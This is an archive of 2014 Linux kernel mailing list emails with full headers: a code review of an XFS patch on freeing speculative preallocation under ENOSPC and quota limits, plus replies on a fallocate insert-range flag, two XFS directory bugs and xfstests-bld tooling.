<1396012563-60973-5-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1396012563-60973-5-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1396304570 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4469 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 28, 2014 at 09:16:02AM -0400, Brian Foster wrote: > Speculative preallocation and and the associated throttling metrics > assume we're working with large files on large filesystems. Users have > reported inefficiencies in these mechanisms when we happen to be dealing > with large files on smaller filesystems. This can occur because while > prealloc throttling is aggressive under low free space conditions, it is > not active until we reach 5% free space or less. > > For example, a 40GB filesystem has enough space for several files large > enough to have multi-GB preallocations at any given time. If those files > are slow growing, they might reserve preallocation for long periods of > time as well as avoid the background scanner due to frequent > modification. If a new file is written under these conditions, said file > has no access to this already reserved space and premature ENOSPC is > imminent. > > To handle this scenario, modify the buffered write ENOSPC handling and > retry sequence to invoke an eofblocks scan. The eofblocks scan is > attempted prior to the inode flush as it is lighter weight and the > former is a last resort to free space. In the smaller filesystem > scenario, the eofblocks scan resets the usage of preallocation such that > when the 5% free space threshold is met, throttling effectively takes > over to provide fair and efficient preallocation until legitimate > ENOSPC. > > The eofblocks scan is selective based on the nature of the failure. For > example, an EDQUOT failure in a particular quota will use a filtered > scan for that quota. Because we don't know which quota might have caused > an allocation failure at any given time, we run a scan against each > applicable quota determined to be under low free space conditions. > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_dquot.h | 15 ++++++++++++++ > fs/xfs/xfs_file.c | 32 ++++++++++++++++++++++++++--- > fs/xfs/xfs_icache.c | 59 +++++++++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_icache.h | 1 + > 4 files changed, 104 insertions(+), 3 deletions(-) > > diff --git a/fs/xfs/xfs_dquot.h b/fs/xfs/xfs_dquot.h > index d22ed00..899b99f 100644 > --- a/fs/xfs/xfs_dquot.h > +++ b/fs/xfs/xfs_dquot.h > @@ -141,6 +141,21 @@ static inline xfs_dquot_t *xfs_inode_dquot(struct xfs_inode *ip, int type) > } > } > > +/* > + * Check whether a dquot is under low free space conditions. We assume the quota > + * is enabled and enforced. > + */ > +static inline bool xfs_dquot_lowsp(struct xfs_dquot *dqp) > +{ > + int64_t freesp; > + > + freesp = be64_to_cpu(dqp->q_core.d_blk_hardlimit) - dqp->q_res_bcount; > + if (freesp < dqp->q_low_space[XFS_QLOWSP_1_PCNT]) > + return true; > + > + return false; > +} > + > #define XFS_DQ_IS_LOCKED(dqp) (mutex_is_locked(&((dqp)->q_qlock))) > #define XFS_DQ_IS_DIRTY(dqp) ((dqp)->dq_flags & XFS_DQ_DIRTY) > #define XFS_QM_ISUDQ(dqp) ((dqp)->dq_flags & XFS_DQ_USER) > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index 2e7989e..1ca16ce 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -38,6 +38,7 @@ > #include "xfs_trace.h" > #include "xfs_log.h" > #include "xfs_dinode.h" > +#include "xfs_icache.h" > > #include > #include > @@ -723,6 +724,7 @@ xfs_file_buffered_aio_write( > struct xfs_inode *ip = XFS_I(inode); > ssize_t ret; > int enospc = 0; > + int scanned = 0; > int iolock = XFS_IOLOCK_EXCL; > size_t count = ocount; > > @@ -741,10 +743,34 @@ write_retry: > pos, &iocb->ki_pos, count, 0); > > /* > - * If we just got an ENOSPC, try to write back all dirty inodes to > - * convert delalloc space to free up some of the excess reserved > - * metadata space. > + * If we hit ENOSPC or a quota limit, use the selective nature of the > + * eofblocks scan to try and free up some lingering speculative > + * preallocation delalloc blocks. > + * > + * If we hit a quota limit, only scan for files covered by the quota. We > + * also consider ENOSPC here because project quota failure can return > + * ENOSPC instead of EDQUOT. The quota scanning only sets 'scanned' if > + * the inode is covered by a quota with low free space. This should > + * minimize interference with global ENOSPC handling. > + * > + * If a scan does not free enough space, resort to the inode flush big > + * hammer to convert delalloc space to free up some of the excess > + * reserved metadata space. > */ > + if ((ret == -EDQUOT || ret == -ENOSPC) && !scanned) { > + scanned = xfs_inode_free_quota_eofblocks(ip); > + if (scanned) > + goto write_retry; > + } > + if (ret == -ENOSPC && !scanned) { > + struct xfs_eofblocks eofb = {0,}; IIRC, you can just use "{ 0 }" for initialisation, no "," needed. > + > + eofb.eof_scan_owner = ip->i_ino; /* for locking */ > + eofb.eof_flags = XFS_EOF_FLAGS_SYNC | XFS_EOF_FLAGS_FLUSH; > + xfs_icache_free_eofblocks(ip->i_mount, &eofb); > + scanned = 1; > + goto write_retry; > + } > if (ret == -ENOSPC && !enospc) { > enospc = 1; > xfs_flush_inodes(ip->i_mount); This seems overly complex and fragile. I'd much prefer that we don't bury data writeback deep in the EOF block freeing code - we've done a lot of work in the past to remove exactly that sort of behaviour from XFS inode scanners. I'd prefer to see something like this: if (ret == -EDQUOT && !enospc) { enospc = 1; xfs_inode_free_quota_eofblocks(ip); goto retry; else if (ret == -ENOSPC && !enospc) { enospc = 1; xfs_flush_inodes(ip->i_mount); .... xfs_icache_free_eofblocks(ip->i_mount, &eofb); goto retry; } This way has specific behaviours for EDQUOT vs ENOSPC, and we treat them appropriately with a minimum of differences. And ENOSPC is global, because we can't tell the difference here between a project quota ENOSPC and a global ENOSPC at this point. > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > index bd0ab7d..471ccfa 100644 > --- a/fs/xfs/xfs_icache.c > +++ b/fs/xfs/xfs_icache.c > @@ -33,6 +33,9 @@ > #include "xfs_trace.h" > #include "xfs_icache.h" > #include "xfs_bmap_util.h" > +#include "xfs_quota.h" > +#include "xfs_dquot_item.h" > +#include "xfs_dquot.h" > > #include > #include > @@ -1277,6 +1280,62 @@ xfs_icache_free_eofblocks( > eofb, XFS_ICI_EOFBLOCKS_TAG); > } > > +/* > + * Run eofblocks scans on the quotas applicable to the inode. For inodes with > + * multiple quotas, we don't know exactly which quota caused an allocation > + * failure. We make a best effort by running scans for each quota considered > + * to be under low free space conditions (less than 1% available free space). > + */ > +int > +xfs_inode_free_quota_eofblocks( > + struct xfs_inode *ip) > +{ > + int scanned = 0; > + struct xfs_eofblocks eofb = {0,}; > + struct xfs_dquot *dq; > + > + ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); > + > + /* set the scan owner to avoid potential livelock */ > + eofb.eof_scan_owner = ip->i_ino; > + > + if (XFS_IS_UQUOTA_ENFORCED(ip->i_mount)) { > + dq = xfs_inode_dquot(ip, XFS_DQ_USER); > + if (dq && xfs_dquot_lowsp(dq)) { > + eofb.eof_uid = VFS_I(ip)->i_uid; > + eofb.eof_flags = XFS_EOF_FLAGS_SYNC| whitespace. > + XFS_EOF_FLAGS_UID; > + xfs_icache_free_eofblocks(ip->i_mount, &eofb); > + scanned = 1; > + } > + } > + > + if (XFS_IS_GQUOTA_ENFORCED(ip->i_mount)) { > + dq = xfs_inode_dquot(ip, XFS_DQ_GROUP); > + if (dq && xfs_dquot_lowsp(dq)) { > + eofb.eof_gid = VFS_I(ip)->i_gid; > + eofb.eof_flags = XFS_EOF_FLAGS_SYNC| > + XFS_EOF_FLAGS_GID; > + xfs_icache_free_eofblocks(ip->i_mount, &eofb); > + scanned = 1; > + } > + } > + > + if (XFS_IS_PQUOTA_ENFORCED(ip->i_mount)) { > + dq = xfs_inode_dquot(ip, XFS_DQ_PROJ); > + if (dq && xfs_dquot_lowsp(dq)) { > + eofb.eof_prid = xfs_get_projid(ip); > + eofb.eof_flags = XFS_EOF_FLAGS_SYNC| > + XFS_EOF_FLAGS_PRID| > + XFS_EOF_FLAGS_FLUSH; > + xfs_icache_free_eofblocks(ip->i_mount, &eofb); > + scanned = 1; > + } > + } I really don't like the fact that project quota is hiding a data flush in the "free_quota_eofblocks" logic. It just strikes me a the wrong thing to do because if it's a real ENOSPC we're just going to have to do this anyway... Cheers, Dave. -- Dave Chinner david@fromorbit.com From linkinjeon@gmail.com Mon Mar 31 19:19:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4A1AD7F53 for ; Mon, 31 Mar 2014 19:19:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3A77B304062 for ; Mon, 31 Mar 2014 17:19:15 -0700 (PDT) X-ASG-Debug-ID: 1396311552-04cbb054b9998430001-NocioJ Received: from mail-qg0-f50.google.com (mail-qg0-f50.google.com [209.85.192.50]) by cuda.sgi.com with ESMTP id YYNYZSifPDJGGq7j (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 31 Mar 2014 17:19:12 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.192.50 X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.50] Received: by mail-qg0-f50.google.com with SMTP id q108so8137281qgd.37 for ; Mon, 31 Mar 2014 17:19:12 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.50] X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=MIxg4klPAuS2BIvVbl6Lv1jzw6pg3b4nz0kYLA9tlcU=; b=c/4aYmNmTAMt0zhSKgxrpOGNM1dZ6uPiAMtonfZzAUH3KczlufBT/ejaFCgY0xwS4l gnt6SxKlCxHtRcSc4R6OWEKJvao1eP7DQkUXWWWn3eJdpRL8+01qYEHvJpc3maCdCh8D 9Ntbmz73p2Lh5ZiqJ3SUgW1IswobtOZzzPDZvgOHKRINitEonAv5EkSTEnfDhvJx0b8T kQ4y7+YaULxph9teN3Yv2G46yhiIaDcTHEKqQ0RXfZQGw8LU4f78gTHq0h19QBLycP4I QWK7gk/a0ve8RNbeu4g5E+KAutrV2JULzi075y4nlXD28ORdbljk8zZdVIYKDJF0xPut 4R/Q== MIME-Version: 1.0 X-Received: by 10.224.29.141 with SMTP id q13mr31981201qac.8.1396311552291; Mon, 31 Mar 2014 17:19:12 -0700 (PDT) Received: by 10.96.18.167 with HTTP; Mon, 31 Mar 2014 17:19:12 -0700 (PDT) In-Reply-To: <20140331145625.GA10791@infradead.org> References: <1396277611-10759-1-git-send-email-linkinjeon@gmail.com> <20140331145625.GA10791@infradead.org> Date: Tue, 1 Apr 2014 09:19:12 +0900 Message-ID: Subject: Re: [PATCH 0/3] fs: Introduce FALLOC_FL_INSERT_RANGE for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH 0/3] fs: Introduce FALLOC_FL_INSERT_RANGE for fallocate To: Christoph Hellwig Cc: Alexander Viro , Dave Chinner , "Theodore Ts'o" , "adilger.kernel@dilger.ca" , Jan Kara , =?UTF-8?B?THVrw6HFoSBDemVybmVy?= , linux-fsdevel , xfs@oss.sgi.com, "linux-ext4@vger.kernel.org" , "linux-kernel@vger.kernel.org" , Namjae Jeon Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qg0-f50.google.com[209.85.192.50] X-Barracuda-Start-Time: 1396311552 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4471 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-03-31 23:56 GMT+09:00 Christoph Hellwig : > On Mon, Mar 31, 2014 at 11:53:31PM +0900, Namjae Jeon wrote: >> This flag will work opposite to the newly added FALLOC_FL_COLLAPSE_RANGE flag. >> As such, specifying FALLOC_FL_INSERT_RANGE flag will insert zeroed-out space >> in between the file within the range specified by offset and len. User can >> write new data in this space. e.g. ads. >> Like collapse range, currently we have the limitation that offset and len >> should be block size aligned for both XFS and Ext4. > > Btw, I remember Samsung also had an ioctl for XFS to split a file into > two without moving the data, do you plan to submit that one as well? > Hi Christoph. Sure, I'm planning to introduce FS_IOC_MOVE_DATA ioctl that can split file as well as merging for xfs and ext4. I already started to implement it. and will post it soon. Thanks. From tinguely@sgi.com Mon Mar 31 21:22:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7E11D7F56 for ; Mon, 31 Mar 2014 21:22:22 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay2.corp.sgi.com (Postfix) with ESMTP id 42687304053; Mon, 31 Mar 2014 19:22:19 -0700 (PDT) Message-ID: <533A22DB.2030608@sgi.com> Date: Mon, 31 Mar 2014 21:22:19 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: XFS Mailing List Subject: Re: [PATCH] xfs: fix bad hash ordering References: <20140328173430.622616177@sgi.com> <20140331001055.GD16336@dastard> <53399B06.5010400@sgi.com> <20140331214016.GD17603@dastard> In-Reply-To: <20140331214016.GD17603@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/31/14 16:40, Dave Chinner wrote: > On Mon, Mar 31, 2014 at 11:42:46AM -0500, Mark Tinguely wrote: >> On 03/30/14 19:10, Dave Chinner wrote: >>> On Fri, Mar 28, 2014 at 12:33:34PM -0500, Mark Tinguely wrote: >>>> Fix the fix directory "bad hash ordering" bug introduced in >>>> commit f5ea1100. >>> >> >> ... >> >>> >>>> --- >>>> A C program that generates this problem can be found at: >>>> http://oss.sgi.com/archives/xfs/2014-03/msg00373.html >>>> >>>> A xfstest for this bug is coming from Hannes Frederic Sowa. >>> >>> Can you convert this program to an xfstest yourself so that I can >>> commit the regression test at the same time I commit an updated >>> fix? >> >> We narrowed the iterations down to make it a quick test. >> I have every confidence that Hannes can generate the test in a timely >> manner and I will help in any way possible. > > Well, it's been over a week now and you're asking me to trust that > someone I don't know and who has never submitted an xfstests before > to do something in a timely manner so we can test a critical bug fix > during a merge window. I'm willing to be pleasently surprised, but > history tells me that people that report bugs rarely follow up with > xfstest cases and it's usually the developer that fixes the bug that > generates the xfstests patch. > > So if the xfstests patch doesn't arrive in the next few hours, can > you please do that for us so I can get this sorted out for the merge > window? > > Cheers, > > Dave. Dave, I think we need to take a step back and clear a little confusion here. There are 2 different directory bugs. 1) Freeing of a already free extent. It presents with the error: XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 16XX of file fs/xfs/xfs_alloc.c. Could be a right or a left edge (or both) that is free. Morgan Meyers sent the latest occurrence on March 12, but others have been seeing it in the community code in the last few mounts. SGI has been seeing it lately with big customers and it has occurred off and on for 7-8 years according to our bug database. It is a nasty bug that can can cause corruption. As I mentioned last week in the analysis of Morgan's metadata dump, XFS can allocate the same buffer multiple times. In his metadata dump there is a directory block and inode clusters that also allocated as user blocks. These duplicate allocated blocks are land mines waiting to go off either when written to by one owner or when when both allocations are removed which causes the XFS_WANT_CORRUPTED_GOTO forced shutdown. 2) Hannes Frederic Sowa found a different directory bug on Thursday, March 27. He included a replicator. I bisected the source of the this bug on Thursday. Walked the bisected patch on Friday and posted the patch. The idea to make a xfstest from the replicator was also made on March 28. This bug has been only known for 3 business days. I already promised that a xfstest will be made. If you need to verify the problem and the patch, there already is a replicator. --Mark. From tytso@thunk.org Mon Mar 31 21:37:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5CBD87F58 for ; Mon, 31 Mar 2014 21:37:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 26103304053 for ; Mon, 31 Mar 2014 19:37:21 -0700 (PDT) X-ASG-Debug-ID: 1396319838-04bdf05daabb0d20001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id VJEh5NksCH9ZcRNR (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 31 Mar 2014 19:37:19 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WUoZf-0006zv-5y; Tue, 01 Apr 2014 02:37:15 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id B9E125803C4; Mon, 31 Mar 2014 22:37:11 -0400 (EDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1396319831; bh=uFtlYpnrIhnzZ7JNnC2Lwh1OxfaLpc8sIczyKekbyvU=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=cG2/L4eZDyozWABZ5A581K1udUTKURKFh2otsHjCDhQPOqrMd+tIiJi3dFZwgRFWh JsCk+hrPDnQOj7eUUnuEpcZCiWim2N0OQLuvw4pxPoV+S1ukWeKBqB8aXKT4RzbKsz kYYGfXQJ3j3Bvi8LNILZDb3nEl6cowSPMmSdbxZU= Date: Mon, 31 Mar 2014 22:37:11 -0400 From: Theodore Ts'o To: Dave Chinner Cc: Sedat Dilek , lsf@lists.linux-foundation.org, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [Lsf] [PATCH] xfstests-bld: Simplify determination of number of CPUs in build-all Message-ID: <20140401023711.GE4911@thunk.org> X-ASG-Orig-Subj: Re: [Lsf] [PATCH] xfstests-bld: Simplify determination of number of CPUs in build-all References: <1395997399-3000-1-git-send-email-sedat.dilek@gmail.com> <20140328161806.GA31772@thunk.org> <20140331025148.GF16336@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140331025148.GF16336@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1396319839 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4474 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Mar 31, 2014 at 01:51:48PM +1100, Dave Chinner wrote: > /me puts on his xfstests Maintainer Hat > > That's a problem of your own making, Ted: please don't speak on > behalf of what the upstream xfstests developers might or might not > do just because of what you do with it as a user. The existance of > many different environments people have built up around it is one of > the strengths of xfstests. Hence the very act of considering > enforcing One True Way of running xfstests is, IMO, harmful > to the wider filesystem and xfstests community. I wasn't presuming to do so. I am merely pushing xfstests-bld because it's better that more people run tests. And if it makes it easier for people to run tests because there is a turn-key way to run them, so much the better. Having a diversity of ways of running xfstests is good. Having lots of people run xfstests, even if many of them run it the same way, is better. > You're also being rather presumptive that the existence of > xfstests-bld requires us to change anything about the way xfstests > is run. I never said that any changes was needed to xfstests repository, or how anyone else might choose to run xfstests. > > especially given that based on a challenge which > > Greg K-H gave us at the kernel pannel at Collab Summit, > ^^^^ > > Hmmmm. Not the way I remember it. Perhaps I should go look at the > video and check that Greg was addressing me directly as the xfstests > maintainer with those comments. After all, those lights on stage can > be blinding..... Sorry, I thought in the discussions we had afterwards you agreed with me that *some* way of running xfststs easily was going to be a requirement, as it is somewhat doubtful that most non-file system developers will have the patience to deal with the "some assembly required" in order to actually run xfstests, and actually putting xfstests into the kernel sources wasn't going to be particularly useful unless we have some way of making it possible to run the tests in a semi-automated fashion. Whether that method is based on what I have in xfstests-bld, or some other way is I agree certainly up for discussion. At the moment the system I have is only set up for ext4, although I will happily accept patches and work with other file system developers to enhance it so it can work with other file systems. And of course, whether changes in the mainline kernel tree are manually propagated changes from the xfstests.git tree, or whether primary development happens in the kernel tree, is ultimately going to be up to you and the XFS developers who have stewardship of xfstests. I'm not sure I would be that excited about manual propagation of changes from one git tree to another, but that is of course, up to you. Cheers, - Ted